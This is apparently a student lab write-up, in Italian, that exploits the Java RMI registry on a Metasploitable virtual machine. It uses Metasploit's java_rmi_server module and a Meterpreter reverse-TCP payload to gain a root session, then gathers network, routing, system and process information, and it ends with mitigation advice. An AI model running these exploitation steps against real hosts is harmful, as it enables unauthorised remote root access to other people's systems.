

Esercizio benchmark modulo 4

Traccia:

La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI.

Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) configurazione di rete;
- 2) informazioni sulla tabella di routing della macchina vittima
- 3) altro...

SVOLGIMENTO

Java-RMI, che è una tecnologia che consente a diversi processi Java di comunicare tra di loro attraverso una rete. La vulnerabilità in questione è dovuta ad una configurazione di default errata che permette ad un potenziale attaccante di iniettare codice arbitrario per ottenere accesso amministrativo alla macchina target. Andiamo ad effettuare l'exploit di questo servizio.

Prima di tutto verifichiamo gli IP delle due macchine, e controlliamo che ci sia una connessione rispettiva su entrambi i sistemi.

```
(kali@kali)~$ ping 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.387 ms
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.355 ms
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.310 ms
^C
  192.168.11.112 ping statistics ---
  3 packets transmitted, 3 received, 0% packet loss, time 2065ms
 rtt min/avg/max/mdev = 0.310/0.350/0.387/0.031 ms

(kali@kali)~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN g
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel st
    link/ether 08:00:27:c9:e4:e6 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.1 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 2001:b07:a3b:666:a00:27ff:fe66:d305/64 scope global dynami
        valid_lft 28727sec preferred_lft 14327sec
    inet6 fe80::a00:27ff:fe66:d305/64 scope link proto kernel_ll
        valid_lft forever preferred_lft forever

(kali@kali)~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:c9:e4:e6 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.1 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 2001:b07:a3b:666:a00:27ff:fe66:d305/64 scope global dynamic
        valid_lft 28748sec preferred_lft 14348sec
    inet6 fe80::a00:27ff:fe66:d305/64 scope link
        valid_lft forever preferred_lft forever

msfadmin@metasploitable:~$ ping 192.168.11.111
PING 192.168.11.111 (192.168.11.111) 56(84) bytes of data.
64 bytes from 192.168.11.111: icmp_seq=1 ttl=64 time=5.04 ms
64 bytes from 192.168.11.111: icmp_seq=2 ttl=64 time=0.358 ms
64 bytes from 192.168.11.111: icmp_seq=3 ttl=64 time=0.255 ms
64 bytes from 192.168.11.111: icmp_seq=4 ttl=64 time=0.348 ms
64 bytes from 192.168.11.111: icmp_seq=5 ttl=64 time=0.667 ms
^C
  192.168.11.111 ping statistics ---
  5 packets transmitted, 5 received, 0% packet loss, time 4003ms
 rtt min/avg/max/mdev = 0.255/1.334/5.046/1.861 ms

msfadmin@metasploitable:~$ ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:c9:e4:e6 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.112/24 brd 192.168.11.1 scope global eth0
        valid_lft forever preferred_lft forever
    inet6 2001:b07:a3b:666:a00:27ff:fe66:d305/64 scope global dynamic
        valid_lft 28748sec preferred_lft 14348sec
    inet6 fe80::a00:27ff:fe66:d305/64 scope link
        valid_lft forever preferred_lft forever

msfadmin@metasploitable:~$
```

Fatto ciò, andiamo ad effettuare innanzitutto una scansione del sistema che stiamo attaccando, usando Nmap. Dobbiamo visionare il servizio presente sulla common port 1099, e verificare che esso sia aperto.

Ci serviamo del comando seguente, che controlla la versione del servizio:

-sudo nmap -p 1099 -sV 192.168.11.112

```
(kali@kali) ~$ sudo nmap -p 1099 -sV 192.168.11.112
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 14:57 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00032s latency).

PORT      STATE SERVICE VERSION
1099/tcp  open  java-rmi GNU Classpath grmiregistry
MAC Address: 08:00:27:66:D3:05 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds
```

Dopo averne confermato l'apertura, possiamo aprire la console di Metasploit.

Procediamo a fare un search del servizio rmiregistry.

A seguire, facciamo use del modulo e vediamo le opzioni necessarie da configurare; esse saranno RHOSTS (in cui inseriremo l'IP del target), LHOST (IP macchina attaccante) e in caso di necessità, modifica a HTTPDELAY se la connessione non riuscisse ad avvenire per via del tempo troppo breve.

```
(kali@kali)-[~]
```

```
$ msfconsole
```

```
Metasploit tip: Start commands with a space to avoid saving them to history
```

```
Metasploit
```

```
      =[ metasploit v6.3.43-dev ]  
+ -- --=[ 2376 exploits - 1232 auxiliary - 416 post ]  
+ -- --=[ 1391 payloads - 46 encoders - 11 nops ]  
+ -- --=[ 9 evasion ]
```

```
Metasploit Documentation: https://docs.metasploit.com/
```

```
msf6 > search rmiregistry
```

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/multi/misc/java_rmi_server	2011-10-15	excellent	Yes	Java RMI Server
Insecure Default Configuration Java Code Execution					

```
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/misc/java_rmi_server
```

```

msf6 > use exploit/multi/misc/java_rmi_server
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):


| Name      | Current Setting | Required | Description                                                                                                                                                                                         |
|-----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                                                                                         |
| RHOSTS    |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                                                                               |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.                                                               |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                                                                                        |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                                                                              |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                                                                                    |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                                                                                 |



Payload options (java/meterpreter/reverse_tcp):


| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 127.0.0.1       | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:


| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.

msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) >

msf6 exploit(multi/misc/java_rmi_server) > set LHOST 192.168.11.111
LHOST => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > set httpdelay 25
httpdelay => 25
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Tr7uTZPBq
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57692 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:40403) at 2024-06-06 15:07:16 -0400

meterpreter >

```

Inserite tutte le impostazioni necessarie, utilizzeremo il comando "exploit" per effettuare la connessione. Adesso che saremo dentro Metasploitable, inizieremo a raccogliere diversi dati presenti dentro la macchina, iniziando dalle impostazioni di rete (**ifconfig**) e dal routing (**route**).

```
meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : 2001:b07:a3b:666a:a00:27ff:fe66:d305
IPv6 Netmask : ::
IPv6 Address : fe80::a00:27ff:fe66:d305
IPv6 Netmask : ::

meterpreter > 
```

```
meterpreter > route

IPv4 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0      0            eth0
192.168.11.112 255.255.255.0 0.0.0.0      0            eth0

IPv6 network routes
-----
Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::           0            eth0
2001:b07:a3b:666a:a00:27ff:fe66:d305 ::           ::           0            eth0
fe80::a00:27ff:fe66:d305 ::           ::           0            eth0

meterpreter > 
```

Verifichiamo anche le informazioni riguardanti il sistema.

Vediamo quale Sistema Operativo presenta, che architettura usa, il linguaggio del sistema e il nome del computer.

```
meterpreter > sysinfo

Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture  : x86
System Language : en_US
Meterpreter   : java/linux

meterpreter > 
```

Proviamo inoltre a creare una shell (con il comando **shell**). In questo modo potremo avere pieno controllo sul sistema, eseguendo comandi come se ci trovassimo dalla shell di Metasploitable.

Proviamo ad eseguire i comandi "**whoami**" e "**uname**".

```
meterpreter > shell
Process 1 created.
Channel 1 created.
whoami
root
uname
Linux
█
```

Possiamo inoltre verificare anche quali siano i processi presenti sulla macchina, attraverso il comando "ps".

```
meterpreter > ps

Process List
-----
```

PID	Name	User	Path
1	/sbin/init	root	/sbin/init
2	[kthreadd]	root	[kthreadd]
3	[migration/0]	root	[migration/0]
4	[ksoftirqd/0]	root	[ksoftirqd/0]
5	[watchdog/0]	root	[watchdog/0]
6	[migration/1]	root	[migration/1]
7	[ksoftirqd/1]	root	[ksoftirqd/1]
8	[watchdog/1]	root	[watchdog/1]
9	[events/0]	root	[events/0]
10	[events/1]	root	[events/1]
11	[khelper]	root	[khelper]
46	[kblockd/0]	root	[kblockd/0]
47	[kblockd/1]	root	[kblockd/1]
50	[kacpid]	root	[kacpid]
51	[kacpi_notify]	root	[kacpi_notify]
97	[kseriod]	root	[kseriod]
141	[pdflush]	root	[pdflush]
142	[pdflush]	root	[pdflush]
143	[kswapd0]	root	[kswapd0]
185	[aio/0]	root	[aio/0]
186	[aio/1]	root	[aio/1]
1153	[ksnapd]	root	[ksnapd]
1353	[ata/0]	root	[ata/0]
1355	[ata/1]	root	[ata/1]
1362	[ata_aux]	root	[ata_aux]
1364	[ksuspend_usbd]	root	[ksuspend_usbd]
1370	[khubd]	root	[khubd]
2070	[scsi_eh_0]	root	[scsi_eh_0]
2156	[scsi_eh_1]	root	[scsi_eh_1]
2159	[scsi_eh_2]	root	[scsi_eh_2]
2304	[kjournald]	root	[kjournald]
2458	/sbin/udevd	root	/sbin/udevd --daemon
3105	[kpsmoused]	root	[kpsmoused]
3621	[kjournald]	root	[kjournald]
3762	/sbin/portmap	daemon	/sbin/portmap
3778	/sbin/rpc.statd	statd	/sbin/rpc.statd
3785	[rpciod/0]	root	[rpciod/0]
3787	[rpciod/1]	root	[rpciod/1]
3804	/usr/sbin/rpc.idmapd	root	/usr/sbin/rpc.idmapd
4031	/sbin/getty	root	/sbin/getty 38400 tty4
4032	/sbin/getty	root	/sbin/getty 38400 tty5
4034	/sbin/getty	root	/sbin/getty 38400 tty2

Considerazioni su Java RMI

Java RMI (Remote Method Invocation) è una tecnologia potente per la costruzione di applicazioni distribuite, ma come qualsiasi altra tecnologia di rete, porta con sé una serie di rischi di sicurezza che devono essere gestiti attentamente. Nel contesto della

cybersicurezza, è fondamentale capire i potenziali rischi e le best practice per proteggere le applicazioni basate su Java RMI.

Come possiamo vedere, questa è una porta che dà potenziale accesso ad un attaccante in modo decisamente semplice, e chiunque potrebbe sfruttarla per causare danni non da poco nei confronti del sistema della vittima.

Per proteggerci da tale possibilità, dobbiamo adottare misure di sicurezza adeguate, prima di tutto cercando di non consentire l'accesso all'IP e alla rete, mascherandoci utilizzando un Firewall o una VPN.

Dobbiamo evitare che la porta 1099 possa rimanere aperta a qualunque connessione, e per questo è necessario stabilire delle regole firewall che blocchino accessi non autorizzati.

Mitigazione

1. Utilizzare la Cifratura:

- Utilizzare SSL/TLS per cifrare le comunicazioni tra client e server RMI. Protegge i dati in transito da intercettazioni e attacchi Man-in-the-Middle (MitM).

2. Implementare l'Autenticazione e l'Autorizzazione

- Assicurare che solo gli utenti autorizzati possano accedere ai metodi RMI.
- usare meccanismi semplici come username e password, o più complessi come certificati digitali.
- Configurare le policy di autorizzazione per limitare l'accesso ai metodi RMI solo agli utenti autorizzati.

3. Validare l'Input

- Prevenire attacchi di deserializzazione e esecuzione di codice arbitrario.
 - Verificare e valida tutti i dati in ingresso provenienti da client RMI.
 - Evitare di deserializzare oggetti da fonti non fidate.

4. Mantenere il Sistema Aggiornato

- Le patch di sicurezza correggono vulnerabilità note.
- Aggiorna regolarmente il tuo ambiente Java e le librerie utilizzate.
- Monitora le notifiche di sicurezza relative a Java e applica le patch tempestivamente.

5. Implementare Controlli di Accesso Basati su Ruoli (RBAC)

- Limitare l'accesso ai metodi RMI in base al ruolo dell'utente.
- Definire ruoli e permessi nel tuo sistema.
- Configurare i metodi RMI per controllare i permessi prima di eseguire qualsiasi operazione.

6. Log e Monitoraggio

- Rilevare attività sospette e rispondi rapidamente a eventuali incidenti di sicurezza.
- Registrare tutte le chiamate ai metodi RMI, inclusi dettagli sugli utenti e i dati trasmessi.

- Implementare strumenti di monitoraggio per analizzare i log e identificare comportamenti anomali.

7. Isolare le Applicazioni

- Limitare l'impatto di una compromissione
- Usare container o macchine virtuali per eseguire i server RMI, mantenendoli separati da altre parti della rete.
- Configurare firewall e regole di rete per limitare l'accesso al server RMI solo ai client autorizzati.